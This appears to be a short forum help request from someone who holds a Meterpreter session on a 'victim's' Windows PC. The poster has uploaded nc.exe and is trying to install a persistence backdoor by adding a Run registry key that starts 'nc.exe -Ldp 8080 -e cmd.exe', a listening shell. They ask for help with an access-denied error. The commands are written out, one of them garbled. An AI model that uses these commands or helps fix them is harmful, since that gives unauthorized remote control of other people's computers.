When Trying Install Persistence Backdoor..

After i getting a meterpreter session..

i upload a netcat file "nc.exe" on viticm's PC in C:\Windows\System32\

then;

i run;

> reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

it executes successfull

>reg setval reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\Windows\System32\nc.exe -Ldp 8080 -e cmd.exe'

i get error

• stdapiregistryopenkey: Operation failed: Access is denied.

plzzz help